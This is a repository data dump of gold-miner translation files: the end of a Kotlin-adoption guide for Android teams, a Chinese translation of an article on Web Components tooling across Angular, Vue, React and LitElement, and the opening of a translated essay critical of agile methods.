isn’t bundled with your app package.\n\nYour team can either write new tests or convert existing tests to Kotlin. Tests are useful to check for code regressions, and they add a level of confidence when refactoring your code. These tests will be especially useful when converting existing Java code into Kotlin.\n\n#### Write new code in Kotlin\n\nBefore converting existing Java code to Kotlin, start by adding small pieces of Kotlin code to your app’s codebase. Begin with a small class or top-level helper function, making sure to add the relevant [annotations](https://kotlinlang.org/docs/reference/java-to-kotlin-interop.html) to the Kotlin code to ensure proper interoperability from the Java code.\n\n#### Analyze impact on APK size and build performance\n\nAdding Kotlin to your app may increase both the APK size and build times. We recommend that you use [Proguard](https://developer.android.com/studio/build/shrink-code) to ensure that your release APKs are as small as possible and to reduce any increase in the number of methods. After running Proguard, the Kotlin impact on your APK size should be quite small, especially when you are just starting off.\n\nFor Kotlin-only projects and mixed-language projects (that are written in Java and Kotlin) there is a slight increase in compile and build times. However, many developers feel that the increased productivity of writing in Kotlin is a worthwhile trade-off. The Kotlin and Android teams are aware of longer build times and are continually striving to improve this important part of the development process. You should measure and monitor the build performance impact for your projects.\n\n#### Update existing code to Kotlin\n\nOnce your team is comfortable using Kotlin, you can start to convert your existing code to Kotlin.\n\nOne extreme option is to start over and rewrite your app entirely in Kotlin. We took this approach with the [2018 Google I/O Android app](https://android-developers.googleblog.com/2018/08/google-releases-source-for-google-io.html), but this is probably not an option for most teams, as they need to ship software while adopting new technologies. Fortunately, Kotlin and the Java programming language are fully interoperable, so you can migrate your project one class at a time.\n\nA more realistic approach is to use the [code converter](https://developer.android.com/studio/projects/add-kotlin#convert-to-kotlin-code) in Android Studio, which converts the code in a Java file to Kotlin. In addition, the IDE offers an option to convert to Kotlin any Java code pasted from the clipboard into a Kotlin file. The converter doesn’t always produce the most idiomatic Kotlin. You’ll need to review each file, but it’s a great way to save time and see how Kotlin looks like in your codebase.\n\nNote that while Java and Kotlin are 100% interoperable they are not source compatible. It is not possible to write a single file in both Java and Kotlin. Consult the [Kotlin](https://kotlinlang.org/docs/reference/java-interop.html) and [Android](https://android.github.io/kotlin-guides/interop.html) guides for more tips on writing interoperable code between Java and Kotlin.\n\n### Convince management to adopt Kotlin\n\nAfter gaining some experience with Kotlin, you may know in your heart of hearts that Kotlin is right for your team. But how do you convince your leadership or stakeholder teams about adopting Kotlin, when they don’t share your love for data classes, smart casts, and extension functions? How best to address this varies based on your specific situation. Below, we suggest some potential speaking points with data you can use to back up your claims.\n\n*   **The team is more productive with Kotlin.** You can show data comparing the average lines of code per file between Kotlin and Java. It’s pretty common to see lines of code reduction of 25% or more. Less code to write also means less code to test and maintain, allowing your team to develop new features faster. In addition, you can track how fast your team spent developing a feature in Kotlin compared to a similar feature in Java.\n*   **Kotlin increases app quality.** Kotlin’s null-safety feature is well-known, but there are many [other safety features](https://proandroiddev.com/kotlin-avoids-entire-categories-of-java-defects-89f160ba4671) to help you avoid entire categories of code defects. One idea from Pinterest is to track your defect rate in each module of your app as you migrate them from Java to Kotlin. You should see the defect rate declining. You can watch Pinterest talk about this in this [Android Developer Story video](https://www.youtube.com/watch?v=c6mhYGCKeaI&t=1m14s). There is also a [recent academic research](https://www.theregister.co.uk/2018/08/02/kotlin_code_quality/) to back up this claim.\n*   **Kotlin makes your team happier.** Happiness is hard to quantify, but you can find a way to demonstrate your team’s excitement about Kotlin to your management. Kotlin is the #2 most-loved programming language based on the [2018 StackOverflow survey](https://insights.stackoverflow.com/survey/2018#most-loved-dreaded-and-wanted).\n*   **The industry is moving towards Kotlin.** 26% of the top 1000 Android apps on Play are already using Kotlin. This includes heavy hitters like Twitter, Pinterest, WeChat, American Express, and many more. Kotlin is also the #2 fastest growing mobile programming language according to Redmonk. Dice has also publicized that the number of Kotlin jobs have [experienced meteoric rise](https://insights.dice.com/2018/09/24/kotlin-jobs-meteoric-rise-android/).\n\n### Going beyond\n\nAfter you’ve had some hands-on experience adding Kotlin to your app, here are some additional tips to help incorporate Kotlin into your everyday development.\n\n#### Define project-specific style conventions\n\nThe [Kotlin](https://kotlinlang.org/docs/reference/coding-conventions.html) and [Android Kotlin](https://android.github.io/kotlin-guides/) style guides establish great baselines for formatting Kotlin code. Beyond those, it’s a good idea to establish conventions and idioms that work best for your team.\n\nOne strategy for implementing unified Kotlin style is to customize Android Studio’s [code style settings](https://www.jetbrains.com/help/idea/copying-code-style-settings.html). Another strategy is to use a linter. In the [Sunflower](https://github.com/googlesamples/android-sunflower) and [Plaid](https://github.com/nickbutcher/plaid) projects, we used [ktlint](https://ktlint.github.io/) to enforce code styles. Ktlint provides great style defaults that follow standard Kotlin style guides that can also be customized to your team’s specific needs.\n\n#### Use only as much as needed\n\nIt’s easy to go overboard with Kotlin syntactic sugar, wrapping statements in `apply`, `let`, `use`, and other great language features. In general, it’s better to favor readability over minimizing lines of code. For example, in Plaid we determined that an `apply` block should have at least two lines. Explore what works best for your team and add that to your style guide.\n\n#### Explore sample projects and case studies\n\nThe resources section below lists sample projects that Googlers have migrated to Kotlin, along with case studies from companies that have added Kotlin to their projects.\n\n### Frequently Asked Questions\n\nAs with any new technology, there are unknowns. Here are some questions we’ve heard from developers adopting Kotlin, along with suggestions to address them.\n\n#### How do I convince fellow engineers to use a new language?\n\nAt Google I/O, I discussed various approach for engineers to adopt Kotlin with [Andrey Breslav](https://twitter.com/abreslav), the lead language designer of Kotlin. He and I agreed that the best approach is to try some Kotlin implementation with your team and then evaluate to see if it works for your situation. At the end of the day, if the minuses outweigh the pluses, you can pass on Kotlin — and Andrey says he’s OK with that!\n\n#### Isn’t it hard to learn Kotlin?\n\nMost developers pick up Kotlin fairly quickly. Experienced Java developers can use the same tools to develop in both Java and Kotlin. Ruby and Python developers will find similar language features in Kotlin, such as method chaining.\n\n#### Will Google continue to support Kotlin for Android development?\n\n**Yes!** Google is committed in its support for Kotlin.\n\n### In conclusion\n\nI hope this guide provides inspiration for you and your teams to add Kotlin to your apps. While the steps may be daunting, almost everyone I’ve spoken with found a renewed joy in software development after adopting Kotlin\n\nNote that while this article is mostly written for Android apps, its concepts are applicable to any Java-based project, from Android apps to server-side programming.\n\nThanks for reading, and good luck in your journey adding Kotlin to your app!\n\n### Continue exploring\n\nThe following is a collection of resources to aid your adoption of Kotlin:\n\n**The official language site for Kotlin is [kotlinlang.org](https://kotlinlang.org):**\n\n*   Write Kotlin code by following the [tutorials](https://kotlinlang.org/docs/tutorials/) or [Kotlin Koans](https://kotlinlang.org/docs/tutorials/koans.html) (you can even [try it online](https://try.kotlinlang.org/) with your browser)\n*   Browse [reference documents](https://kotlinlang.org/docs/reference/) for working with the Kotlin [standard library](https://kotlinlang.org/api/latest/jvm/stdlib/index.html)\n*   Read up on new features such as [Coroutines](https://kotlinlang.org/docs/reference/coroutines.html) and [Multiplatform](https://kotlinlang.org/docs/reference/multiplatform.html)\n\n**[Developing Android apps with Kotlin](https://developer.android.com/kotlin) from [developer.android.com](https://developer.android.com):**\n\n**Style and interoperability guides:**\n\n*   General Kotlin [coding conventions](https://kotlinlang.org/docs/reference/coding-conventions.html)\n*   Android Kotlin [style guide](https://android.github.io/kotlin-guides/index.html)\n*   Interoperability guides for calling [Java code from Kotlin](https://kotlinlang.org/docs/reference/java-interop.html), [calling Kotlin from java](https://kotlinlang.org/docs/reference/java-to-kotlin-interop.html), and general [Android interop guides](https://android.github.io/kotlin-guides/interop.html)\n*   Defining Android Studio’s [code style settings](https://www.jetbrains.com/help/idea/copying-code-style-settings.html)\n*   [KtLint](https://ktlint.github.io/) — a Kotlin linter with built-in formatter\n\n**Code samples:**\n\n*   [2018 Google I/O Android app](https://github.com/google/iosched)\n*   [Plaid](https://github.com/nickbutcher/plaid)\n*   [Sunflower](https://github.com/googlesamples/android-sunflower)\n*   [Tivi](https://github.com/chrisbanes/tivi)\n*   [Topeka](https://github.com/googlesamples/android-topeka)\n*   Additional [code samples](https://developer.android.com/samples/index.html?language=kotlin) on [developer.android.com](http://developer.android.com/)\n\n**Case studies:**\n\n*   Basecamp — “[How we made Basecamp 3’s Android app 100% Kotlin](https://m.signalvnoise.com/how-we-made-basecamp-3s-android-app-100-kotlin-35e4e1c0ef12)”\n*   Camera360 — “[Android Developer Story: Camera360 achieves global success with Kotlin and new technologies](https://youtu.be/r6itIxyUhc8)” (video in Chinese with English subtitles)\n*   Hootsuite — “[Down of the Age of Kotlin at Hootsuite](http://code.hootsuite.com/dawn-of-the-age-of-kotlin-at-hootsuite/)”\n*   Keepsafe — “[Lessons from converting an app to 100% Kotlin](https://medium.com/keepsafe-engineering/lessons-from-converting-an-app-to-100-kotlin-68984a05dcb6)”\n*   Pinterest — “[Kotlin for grumpy Java developers](https://medium.com/@Pinterest_Engineering/kotlin-for-grumpy-java-developers-8e90875cb6ab)”\n\n— Articles\n\n*   [31 days of Kotlin](https://twitter.com/i/moments/980488782406303744) on Twitter — a daily Kotlin tip during March 2018 from [@AndroidDev](https://twitter.com/androiddev). Each of the 31 tweets explores a specific feature of Kotlin and can serve as a guided tour for improving Kotlin usage over the course of a month. Blog post recaps are also available: [Week 1](https://medium.com/google-developers/31daysofkotlin-week-1-recap-fbd5a622ef86), [Week 2](https://medium.com/google-developers/31daysofkotlin-week-2-recap-9eedcd18ef8), [Week 3](https://medium.com/google-developers/31daysofkotlin-week-3-recap-20b20ca9e205), [Week 4](https://medium.com/google-developers/31daysofkotlin-week-4-recap-d820089f8090)\n*   [Lessons learned while converting to Kotlin with Android Studio](https://medium.com/google-developers/lessons-learned-while-converting-to-kotlin-with-android-studio-f0a3cb41669) — article by [Ben Baxter](https://twitter.com/benjamintravels), Partner Developer Advocate @ Google\n*   [Migrating and Android project to Kotlin](https://medium.com/google-developers/migrating-an-android-project-to-kotlin-f93ecaa329b7) — article by [Ben Weiss](https://twitter.com/keyboardsurfer), Android Developer Relations @ Google\n\n_Thanks to_ [_James Lau_](https://twitter.com/jmslau) _and_ [_Sean McQuillan_](https://twitter.com/objcode)\n\n*   [And](https://medium.com/tag/android?source=post)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/advanced-tooling-for-web-components.md",
    "content": "> * 原文地址：[Advanced Tooling for Web Components](https://css-tricks.com/advanced-tooling-for-web-components/)\n> * 原文作者：[Caleb Williams](https://css-tricks.com/author/calebdwilliams/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/advanced-tooling-for-web-components.md](https://github.com/xitu/gold-miner/blob/master/TODO1/advanced-tooling-for-web-components.md)\n> * 译者：[Xuyuey](https://github.com/Xuyuey)\n> * 校对者：[Long Xiong](https://github.com/xionglong58), [Ziyin Feng](https://github.com/Fengziyin1234)\n\n# Web Components 的高级工具\n\n该系列由 5 篇文章构成，我们在前 4 篇文章中对构成 Web Components 标准的技术进行了[全面的介绍](https://juejin.im/post/5c9a3cce5188252d9b3771ad)。首先，我们研究了[如何创建 HTML 模板](https://juejin.im/post/5ca5b858e51d4524a918560f)，为接下来的工作做了铺垫。其次，我们深入了解了[自定义元素的创建](https://github.com/xitu/gold-miner/blob/master/TODO1/creating-a-custom-element-from-scratch.md)。接着，[我们将元素的样式和选择器封装到 shadow DOM 中](https://github.com/xitu/gold-miner/blob/master/TODO1/encapsulating-style-and-structure-with-shadow-dom.md)，这样我们的元素就完全独立了。\n\n我们通过创建自己的自定义模态对话框来探索这些工具的强大功能，该对话框可以忽略底层框架或库，在大多数现代应用程序上下文中使用。在本文中，我们将介绍如何在各种框架中使用我们的元素，并介绍一些高级工具用来真正提高 Web Component 的技能。\n\n#### 系列文章：\n\n1.  [Web Components 简介](https://juejin.im/post/5c9a3cce5188252d9b3771ad)\n2.  [编写可以复用的 HTML 模板](https://juejin.im/post/5ca5b858e51d4524a918560f)\n3.  [从 0 开始创建自定义元素](https://github.com/xitu/gold-miner/blob/master/TODO1/creating-a-custom-element-from-scratch.md)\n4.  [使用 Shadow DOM 封装样式和结构](https://github.com/xitu/gold-miner/blob/master/TODO1/encapsulating-style-and-structure-with-shadow-dom.md)\n5.  [Web Components 的高级工具（**本文**）](https://github.com/xitu/gold-miner/blob/master/TODO1/advanced-tooling-for-web-components.md)\n\n### 框架兼容\n\n我们的对话框组件几乎在任何框架中都可以很好地运行。（当然，如果 JavaScript 被禁用，那么整个事情都是徒劳的。）Angular 和 Vue 将 Web Components 视为一等公民：框架的设计考虑了 Web 标准。React 稍微有点自以为是，但并非不可以整合。\n\n#### Angular\n\n首先，我们来看看 Angular 如何处理自定义元素。默认情况下，每当 Angular 遇到无法识别的元素（即默认浏览器元素或任何 Angular 定义的组件），它就会抛出模板错误。可以通过包含 `CUSTOM_ELEMENTS_SCHEMA` 来更改这个行为。\n\n> ...允许 NgModule 包含以下内容：\n> \n> *   Non-Angular 元素用破折号（`-`）命名。\n> *   元素属性用破折号（`-`）命名。破折号是自定义元素的命名约定。\n> \n> — [Angular 文档](https://angular.io/api/core/CUSTOM_ELEMENTS_SCHEMA)\n\n使用此架构就像在模块中添加它一样简单：\n\n```\nimport { NgModule, CUSTOM_ELEMENTS_SCHEMA } from '@angular/core';\n\n@NgModule({\n  /** 省略 */\n  schemas: [ CUSTOM_ELEMENTS_SCHEMA ]\n})\nexport class MyModuleAllowsCustomElements {}\n```\n\n就像上面这样。之后，Angular 将允许我们在任何使用标准属性和绑定事件的地方使用我们的自定义元素：\n\n```\n<one-dialog [open]=\"isDialogOpen\" (dialog-closed)=\"dialogClosed($event)\">\n  <span slot=\"heading\">Heading text</span>\n  <div>\n    <p>Body copy</p>\n  </div>\n</one-dialog>\n```\n\n#### Vue\n\nVue 对 Web Components 的兼容性甚至比 Angular 更好，因为它不需要任何特殊配置。注册元素后，它可以与 Vue 的默认模板语法一起使用：\n\n```\n<one-dialog v-bind:open=\"isDialogOpen\" v-on:dialog-closed=\"dialogClosed\">\n  <span slot=\"heading\">Heading text</span>\n  <div>\n    <p>Body copy</p>\n  </div>\n</one-dialog>\n```\n\n然而，Angular 和 Vue 都需要注意的是它们的默认表单控件。如果我们希望使用一个类似于可响应的表单或者 Angular 的 `[(ng-model)]` 或者 Vue 中的 `v-model` 的东西，我们需要建立管道，这个超出了本篇文章的讨论范围。\n\n#### React\n\nReact 比 Angular 稍微复杂一点。[React 的虚拟 DOM](https://reactjs.org/docs/faq-internals.html) 有效地获取了一个 JSX 树并将其渲染为一个大对象。因此，React 不是像 Angular 或 Vue 一样，直接修改 HTML 元素上的属性，而是使用对象语法来跟踪需要对 DOM 进行的更改并批量更新它们。在大多数情况下这很好用。我们将对话框的 open 属性绑定到对象的属性上，在改变属性时响应非常好。\n\n当我们关闭对话框，开始调度 `CustomEvent` 时，会出现问题。React 使用[合成事件系统](https://reactjs.org/docs/events.html)为我们实现了一系列原生事件监听器。不幸的是，这意味着像 `onDialogClosed` 这样的控制方法实际上不会将事件监听器附加到我们的组件上，因此我们必须找到其他方法。\n\n在 React 中添加自定义事件监听器的最著名的方法是使用 [DOM refs](https://reactjs.org/docs/refs-and-the-dom.html)。在这个模型中，我们可以直接引用我们的 HTML 节点。语法有点冗长，但效果很好：\n\n```\nimport React, { Component, createRef } from 'react';\n\nexport default class MyComponent extends Component {\n  constructor(props) {\n    super(props);\n    // 创建引用\n    this.dialog = createRef();\n    // 在实例上绑定我们的方法\n    this.onDialogClosed = this.onDialogClosed.bind(this);\n\n    this.state = {\n      open: false\n    };\n  }\n\n  componentDidMount() {\n    // 组件构建完成后，添加事件监听器\n    this.dialog.current.addEventListener('dialog-closed', this.onDialogClosed);\n  }\n\n  componentWillUnmount() {\n    // 卸载组件时，删除监听器\n    this.dialog.current.removeEventListener('dialog-closed', this.onDialogClosed);\n  }\n\n  onDialogClosed(event) { /** 省略 **/ }\n\n  render() {\n    return <div>\n      <one-dialog open={this.state.open} ref={this.dialog}>\n        <span slot=\"heading\">Heading text</span>\n        <div>\n          <p>Body copy</p>\n        </div>\n      </one-dialog>\n    </div>\n  }\n}\n```\n\n或者，我们可以使用无状态函数组件和钩子：\n\n```\nimport React, { useState, useEffect, useRef } from 'react';\n\nexport default function MyComponent(props) {\n  const [ dialogOpen, setDialogOpen ] = useState(false);\n  const oneDialog = useRef(null);\n  const onDialogClosed = event => console.log(event);\n\n  useEffect(() => {\n    oneDialog.current.addEventListener('dialog-closed', onDialogClosed);\n    return () => oneDialog.current.removeEventListener('dialog-closed', onDialogClosed)\n  });\n\n  return <div>\n      <button onClick={() => setDialogOpen(true)}>Open dialog</button>\n      <one-dialog ref={oneDialog} open={dialogOpen}>\n        <span slot=\"heading\">Heading text</span>\n        <div>\n          <p>Body copy</p>\n        </div>\n      </one-dialog>\n    </div>\n}\n```\n\n这个还不错，但你可以看到重用这个组件很快会变得很麻烦。幸运的是，我们可以导出一个默认的 React 组件，它使用相同的工具包裹我们的自定义元素。\n\n```\nimport React, { Component, createRef } from 'react';\nimport PropTypes from 'prop-types';\n\nexport default class OneDialog extends Component {\n  constructor(props) {\n    super(props);\n    // 创建引用\n    this.dialog = createRef();\n    // 在实例上绑定我们的方法\n    this.onDialogClosed = this.onDialogClosed.bind(this);\n  }\n\n  componentDidMount() {\n    // 组件构建完成后，添加事件监听器\n    this.dialog.current.addEventListener('dialog-closed', this.onDialogClosed);\n  }\n\n  componentWillUnmount() {\n    // 卸载组件时，删除监听器\n    this.dialog.current.removeEventListener('dialog-closed', this.onDialogClosed);\n  }\n\n  onDialogClosed(event) {\n    // 在调用属性之前进行检查以确保它是存在的\n    if (this.props.onDialogClosed) {\n      this.props.onDialogClosed(event);\n    }\n  }\n\n  render() {\n    const { children, onDialogClosed, ...props } = this.props;\n    return <one-dialog {...props} ref={this.dialog}>\n      {children}\n    </one-dialog>\n  }\n}\n\nOneDialog.propTypes = {\n  children: children: PropTypes.oneOfType([\n      PropTypes.arrayOf(PropTypes.node),\n      PropTypes.node\n  ]).isRequired,\n  onDialogClosed: PropTypes.func\n};\n```\n\n...或者，再次使用无状态函数组件和钩子：\n\n```\nimport React, { useRef, useEffect } from 'react';\nimport PropTypes from 'prop-types';\n\nexport default function OneDialog(props) {\n  const { children, onDialogClosed, ...restProps } = props;\n  const oneDialog = useRef(null);\n  \n  useEffect(() => {\n    onDialogClosed ? oneDialog.current.addEventListener('dialog-closed', onDialogClosed) : null;\n    return () => {\n      onDialogClosed ? oneDialog.current.removeEventListener('dialog-closed', onDialogClosed) : null;  \n    };\n  });\n\n  return <one-dialog ref={oneDialog} {...restProps}>{children}</one-dialog>\n}\n```\n\n现在我们可以在 React 中使用我们的对话框，而且可以在我们所有的应用程序中保持相同的 API（如果你喜欢的话，还可以不使用类）。\n\n```\nimport React, { useState } from 'react';\nimport OneDialog from './OneDialog';\n\nexport default function MyComponent(props) {\n  const [open, setOpen] = useState(false);\n  return <div>\n    <button onClick={() => setOpen(true)}>Open dialog</button>\n    <OneDialog open={open} onDialogClosed={() => setOpen(false)}>\n      <span slot=\"heading\">Heading text</span>\n      <div>\n        <p>Body copy</p>\n      </div>\n    </OneDialog>\n  </div>\n}\n```\n\n### 高级工具\n\n有很多非常棒的工具可以用来编写你的自定义元素。[在 npm 上进行搜索](https://www.npmjs.com/search?q=keywords:customElements)，你能找到许多用于创建高响应性自定义元素的工具（包括我自己的宠物项目），但到目前为止最流行的是来自 Polymer 团队的 [lit-html](https://github.com/Polymer/lit-html)，对 Web Components 来说更具体的是指，[LitElement](https://lit-element.polymer-project.org/)。\n\nLitElement 是一个自定义元素基类，它提供了一系列 API，可以用于完成我们迄今为止所做的所有事情。不用构建它也可以在浏览器中运行，但如果你喜欢使用更前沿的工具，如装饰器，那么也可以使用它。\n\n在深入了解如何使用 lit 或 LitElement 之前，请花一点时间熟悉 [带标签的模板字符串（tagged template literals）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals)，这是一种特殊的函数，可以在 JavaScript 中调用模板字符串。这些函数接受一个字符串数组和一组内插值，并可以返回你可能想要的任何内容。\n\n```\nfunction tag(strings, ...values) {\n  console.log({ strings, values });\n  return true;\n}\nconst who = 'world';\n\ntag`hello ${who}`; \n/** 会打印出 { strings: ['hello ', ''], values: ['world'] }，并且返回 true **/\n```\n\nLitElement 为我们提供的是对传递给该值数组的任何内容的实时动态更新，因此当属性更新时，将调用元素的 render 函数并重新渲染呈现 DOM。\n\n```\nimport { LitElement, html } from 'lit-element';\n\nclass SomeComponent {\n  static get properties() {\n    return { \n      now: { type: String }\n    };\n  }\n\n  connectedCallback() {\n    // 一定要调用 super\n    super.connectedCallback();\n    this.interval = window.setInterval(() => {\n      this.now = Date.now();\n    });\n  }\n\n  disconnectedCallback() {\n    super.disconnectedCallback();\n    window.clearInterval(this.interval);\n  }\n\n  render() {\n    return html`<h1>It is ${this.now}</h1>`;\n  }\n}\n\ncustomElements.define('some-component', SomeComponent);\n```\n\n在 [CodePen](https://codepen.io) 查看 [LitElement 示例](https://codepen.io/calebdwilliams/pen/omrXJx/)。\n\n你会注意到我们必须使用 `static properties` getter 定义任何我们想要 LitElement 监视的属性。使用该 API 会告诉基类每当对组件的属性进行更改时都要调用 `render` 函数。反过来，`render` 将仅更新需要更改的节点。\n\n因此，对于我们的对话框示例，它使用 LitElement 时看起来像这样：\n\n在 [CodePen](https://codepen.io) 查看 [使用 LitElement 的对话框示例](https://codepen.io/calebdwilliams/pen/OdeJdq/)。\n\n有几种可用的 lit-html 的变体，包括 [Haunted](https://github.com/matthewp/haunted)，一个用于 Web Components 的 React 钩子库，也可以使用 lit-html 作为基础来使用虚拟组件。\n\n目前，大多数现代 Web Components 工具都是 `LitElement` 的风格：一个从我们的组件中抽象出通用逻辑的基类。其他类型的有 [Stencil](https://stenciljs.com/)、[SkateJS](https://github.com/skatejs/skatejs)、[Angular Elements](https://angular.io/guide/elements) 和 [Polymer](https://www.polymer-project.org/)。\n\n### 下一步\n\nWeb Components 标准不断发展，越来越多的新功能经过讨论并被添加到浏览器中。很快，Web Components 的使用者将拥有用于与 Web 表单进行高级交互的 API（包括超出这些介绍性文章范围的其他元素内部），例如原生 HTML 和 CSS 模块导入，原生模板实例化和更新控件，更多的可以在 GitHub 上的 [W3C/web components issues board on GitHub](https://github.com/w3c/webcomponents/issues) 进行跟踪。\n\n这些标准已经准备好应用到我们今天的项目中，并为旧版浏览器和 Edge 提供适当的 polyfill。虽然它们可能无法取代你选择的框架，但它们可以一起使用，以增强你和你的团队的工作流程。\n\n#### 系列文章：\n\n1.  [Web Components 简介](https://juejin.im/post/5c9a3cce5188252d9b3771ad)\n2.  [编写可以复用的 HTML 模板](https://juejin.im/post/5ca5b858e51d4524a918560f)\n3.  [从 0 开始创建自定义元素](https://github.com/xitu/gold-miner/blob/master/TODO1/creating-a-custom-element-from-scratch.md)\n4.  [使用 Shadow DOM 封装样式和结构](https://github.com/xitu/gold-miner/blob/master/TODO1/encapsulating-style-and-structure-with-shadow-dom.md)\n5.  [Web Components 的高级工具（**本文**）](https://github.com/xitu/gold-miner/blob/master/TODO1/advanced-tooling-for-web-components.md)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/agile-agile-blah-blah.md",
    "content": "> * 原文地址：[Maybe Agile Is the Problem](https://www.infoq.com/articles/agile-agile-blah-blah/)\n> * 原文作者：[Mo Hagar](https://www.infoq.com/profile/Mo-Hagar/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/agile-agile-blah-blah.md](https://github.com/xitu/gold-miner/blob/master/TODO1/agile-agile-blah-blah.md)\n> * 译者：[Charlo](https://github.com/Charlo-O)\n> * 校对者：[Gavin](https://github.com/redagavin)\n\n# 敏捷也许是个问题\n\n### 关键点\n\n* 许多组织都厌倦了敏捷 \n* “敏捷工业综合体”是问题的一部分\n* 敏捷开发者必须回归到宣言和十二准则的简单基础上\n* [Heart of Agile](https://heartofagile.com/) 和 [Modern Agile](http://modernagile.org/) 是基本、简洁框架的典范\n* 敏捷者需要从社会科学中学习很多东西，比如[积极心理学](https://en.wikipedia.org/wiki/Positive_psychology)、[欣赏式探询](https://en.wikipedia.org/wiki/Appreciative_inquiry)、[焦点解决](http://sfwork.com/solutions-focus)\n\n---\n\n“敏捷 敏捷 敏捷 敏捷 敏捷 敏捷 敏捷 敏捷。”\n\n咒语？并不是，虽然它可能会诱导意识状态的改变。 \n\n“生命、宇宙和一切问题的终极答案？（Douglas Adams，《银河系漫游指南》）。也许，这取决于你问谁。\n\n这些都是同音异义词。看起来和听起来一样，但是意思不同的单词。就像这个由三个意思完全不同的单词组成的语法正确的句子：[Buffalo buffalo Buffalo buffalo buffalo buffalo Buffalo buffalo](https://zh.wikipedia.org/wiki/Buffalo_buffalo_Buffalo_buffalo_buffalo_buffalo_Buffalo_buffalo)[（Dmitri Borgmann, Beyond Language: Adventures in Word and Thought）](https://en.wikipedia.org/wiki/Beyond_Language)。（译者注：中文表述为“水牛城中某些被其他美洲野牛所恐吓的美洲野牛，又去恐吓了另一些美洲野牛。”）\n\n过度同音化的风险是，词语开始意味着任何东西，直到它们变得毫无意义。这是一种被称为“语义饱和”的心理现象。由心理学家 Leon James 创造，“语义饱和”是[精神疲劳](http://mentalfloss.com/article/71855/why-does-word-sometimes-lose-all-meaning)的一种形式：\n\n> 这叫做反应性抑制：当一个脑细胞激活时，第二次激活需要更多能量，第三次更多，最后第四次它甚至不会响应，除非你等待几秒钟……如果你重复一个词，这个词的意思一直在重复，然后变得难以控制，或者更能抵抗一次又一次地被引出。 \n\n今天，“敏捷”意味着一切。逐渐地，它失去了所有意义。许多组织对敏捷感到厌倦，不受控制，或抵制：“敏捷 敏捷 敏捷 敏捷 敏捷 敏捷 敏捷 敏捷。” \n\n它变得更糟。子曰：“言之无文,行之不远。”在一些组织中，“敏捷”已经意味着“命令和控制管理”。Kent Beck 道出了许多知情人的沮丧：\n\n>我在南非参加 Agile Africa 的时候，有人走过来对我说，“我们想做软件开发，但是我们不能忍受所有的繁文缛节和敏捷的规矩。我们只是想写一些程序。”我热泪盈眶……我们怎么又回到了 20 年前的水平呢？（私人通信，经允许引用）。 \n\n这是个很重要的好问题。也引出了另一个重要的问题，比如：“我们该何去何从？” Ron Jeffries 最近提出了一个非常真实的[考虑的可能性](https://ronjeffries.com/articles/018-01ff/abandon-1/)：\n\n> 是时候尝试一些新的东西了，现在就是：开发人员应该放弃“敏捷”……我真的开始认为所有类型的软件开发人员都不应该坚持任何类型的“敏捷”方法。正如这些方法在实际中所表现的那样，它们通常是优秀软件开发的敌人而非朋友。 \n\n无论我们从何而来，首先，我们要承认，我们中的许多敏捷者都是问题的一部分。正如 Pogo 对 Porkypine 说的一句名言，“我们遇到的敌人正是我们自身。”（Walt Kelly, Pogo）。Martin Fowler 在 Agile Australia 2018 上[这样](https://martinfowler.com/articles/agile-aus-2018.html)说到： \n\n> ......将敏捷工业综合体的方法强加于人，绝对是一种戏仿。我本来想说“悲剧”，但是我认为“戏仿”这个词更好，因为在软件开发中没有放之四海而皆准的东西。即使是敏捷的拥护者也不会说敏捷一定是在任何地方都能使用的最好的方法。关键是，团队决定了如何去做。这是一个基本的敏捷原则。这甚至意味着，如果团队不想以敏捷的方式工作，那么敏捷在这种情况下可能是不合适的，并且 **不使用敏捷** 是他们在这光怪陆离的逻辑世界中能够做到最敏捷的方式。所以这就是第一个问题：敏捷的工业综合体和这种强加于人的最佳做事方式。这是我们必须反对的。 \n\n敏捷工业综合体。黑暗敏捷。人造敏捷。僵尸敏捷。使其变得更糟。组织心理学家朋友说：\n\n> 敏捷是一种病毒，正在企业中蔓延。你不应该对不断增长的阻力感到惊讶。因为当抗原侵入时，抗体自然会这样做。（个人通信）\n\n啊哈？\n\n> 